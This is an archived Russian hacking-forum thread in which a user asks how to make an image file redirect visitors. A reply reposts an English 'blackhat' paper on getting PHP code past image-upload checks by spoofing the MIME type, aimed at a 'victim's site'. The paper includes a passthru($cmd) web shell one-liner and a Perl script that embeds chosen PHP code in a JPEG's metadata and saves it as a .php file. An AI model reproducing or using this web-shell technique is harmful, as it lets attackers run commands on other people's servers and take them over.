Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Выполнение кода в графических файлах

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> Выполнение кода в графических файлах
Имя
Сообщение << Старые топики   Новые топики >>
Выполнение кода в графических файлах - 2006-12-08 13:33:37.216666   
DxX

Сообщений: 8
Оценки: 0
Присоединился: 2006-10-06 18:30:58.610000
Подскажите нубу, как сделать графический файл (jpg, gif), чтобы при вызове его в броузере юзер редиректился на нужный мне урл? редирект может быть JS, frame - неважно… реально ли вообще такое?перерыл кучу форумов - не могу найти толкового объяснялова
Post #: 1
RE: Выполнение кода в графических файлах - 2006-12-08 14:28:35.516666   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
Если ты отдаёшь веб-страницу, ты отдаёшь браузеру тип документа HTML
Если ты отдаёшь картинку, ты отдаёшь браузеру тип документа IMAGE

Ты НЕ можешь писать JS, FRAME и т.п. в документе типа IMAGE. Заголовок редиректа можно, но картинку при этом юзер не увидит. Поэтому максимально приближенный случай такой -
1. вешаешь на gif, или что у тебя там, обработчик html
2. отдаёшь  HTML  с единственным изображением:
<html><body><img …></body></html>
3. В этот же HTML прописываешь редирект
Post #: 2
RE: Выполнение кода в графических файлах - 2006-12-08 14:53:48.546666   
DxX

Сообщений: 8
Оценки: 0
Присоединился: 2006-10-06 18:30:58.610000
Мне не нужно, чтобы юзер видел картинку. По поводу заголовка редиректа объясни plz как можно. Я читал, что данные как-то вставляют в EXIF, а КАК не могу врубиться
Post #: 3
RE: Выполнение кода в графических файлах - 2006-12-08 15:10:20.140000   
Lex_Voodoo

Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
&lt;?php header("Location: http://www.example.com/"); ?&gt;
Post #: 4
RE: Выполнение кода в графических файлах - 2006-12-08 15:29:39.610000   
DxX

Сообщений: 8
Оценки: 0
Присоединился: 2006-10-06 18:30:58.610000
спасибо - пробую
Post #: 5
RE: Выполнение кода в графических файлах - 2006-12-08 15:53:52.763333   
.:[ksuri]:.

Сообщений: 216
Оценки: 0
Присоединился: 2005-04-17 23:52:52
————————————————————-

Mime-type spoofing & PHP/ASP code execution in images.


Author: D3BUG


http://www.blackhat-forums.com

————————————————————-

NOTE: In this following paper i will only give examples of PHP but ASP works well in this technique.


In this paper I am going to show you how badly misconfigured some websites and especially communitys can be. Many of the communitys you visit nowadays almost always has one way or another to let you display your favorite picture of choice as an avatar.

When uploading your image some sites don't check for the file extension of the file, only the mime-type of it. All files has different mime-types in the HTTP protocol and in this paper we are going to spoof the server, thinkin we are uploading an ordinary JPG/JPEG file when we are uploading a image containing PHP-code. The mime-type for a JPG/JPEG file is : image/jpeg.
But what if we put in our evil PHP code in the image without corrupting it and changing the extension to php? The server handles it as an ordinary PHP-script and executes the PHP-code we have put into it.

When uploading your image/avatar to the server to be displayed on your profile/space or whatever you'll often see an upload form kind of looking like this :

<form method="post" action="upload-file.php" enctype="multipart/form-data">
<input type="image">
<input type="submit">

But how do we spoof it? There are many ways, you can download the Mozilla Live Http-headers and upload a sample file, log and check/edit the info sent from your client to the server.

Another, more simple way is to make an HTML file on your computer and put in the following:

<form method="post" action="http://server/upload.php" enctype="multipart/form-data">

<input type="image" accept="image/jpeg">

<input type="submit">

The trick is in the accept="image/jpeg" tag. That tricks the server that your image contained php script (with the file extension .php) is an ordinary JPG/JPEG file and uploads it to the server.

Just edit the forms so it points to your victims site where the upload script is.
NOTE: You may want to check the source of the webpage because if the <input type="image"> differs from the server's code the upload won't work.

But how do we execute PHP-code in jpg files?

Simply, edit an image with your favorite Hex-editor and REPLACE strings with your php code. If you don't replace the strings in your jpg file the image will be corrupt and won't be displayed in a image viewer(and probably not be uploaded to the server).

So if u put in this simple code in your JPG for example:

<? passthru($cmd); ?>

When replacing strings with PHP-code in the JPG the image get's a little corrupt and the more code you put in, the image gets more corrupt, but it displays properly in an image viewer.

But there is a better way, I took the time to create a simple perl program that puts in your choice of php code in your jpg file and the image doesn't get corrupt AT ALL and here is the source:


#!/usr/bin/perl
use Image::ExifTool;
print "#########################################\n\n";
print "EvilPHPImage tool, coded by D3BUG.\n\n";
print "#########################################\n\n";
print "Usage:\n./EvilPHPImage.pl Avatar.jpg EvilAvatar.php 'PHPCODE'\n";
print "For example:\n./EvilPHPImage.pl Avatar.jpg EvilAvatar.php '<? passthru(\044cmd); ?>'\n\n";
print "#########################################\n\n";
print "http://www.blackhat-forums.com\n\n";
if ($#ARGV != 2) {
print "\n\nUsage: ./EvilPHPImage.pl Avatar.jpg EvilAvatar.php 'PHPCODE'\n\n\n";
}
my $EvilPHPImage = new Image::ExifTool;
$EvilPHPImage->SetNewValue('IPTC:ObjectName' => $ARGV[2]);
$EvilPHPImage->WriteInfo($ARGV[0],$ARGV[1]);


That's all for this paper, hoped you learned anything informative from it.
Post #: 6
RE: Выполнение кода в графических файлах - 2006-12-08 16:33:16.360000   
DxX

Сообщений: 8
Оценки: 0
Присоединился: 2006-10-06 18:30:58.610000
мегареспект! за камент, сорцы и за линку на форум))) да прибудет с тобой СИЛА!
Post #: 7
RE: Выполнение кода в графических файлах - 2006-12-08 18:33:44.890000   
DxX

Сообщений: 8
Оценки: 0
Присоединился: 2006-10-06 18:30:58.610000
как думаете, почему не работает
>Usage:\n./EvilPHPImage.pl Avatar.jpg EvilAvatar.php 'PHPCODE'
выдает "синтаксическая ошибка в имени файла, папки или метке тома"
 
Post #: 8
Страниц:  [1]
Все форумы >> [Веб-программинг] >> Выполнение кода в графических файлах







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.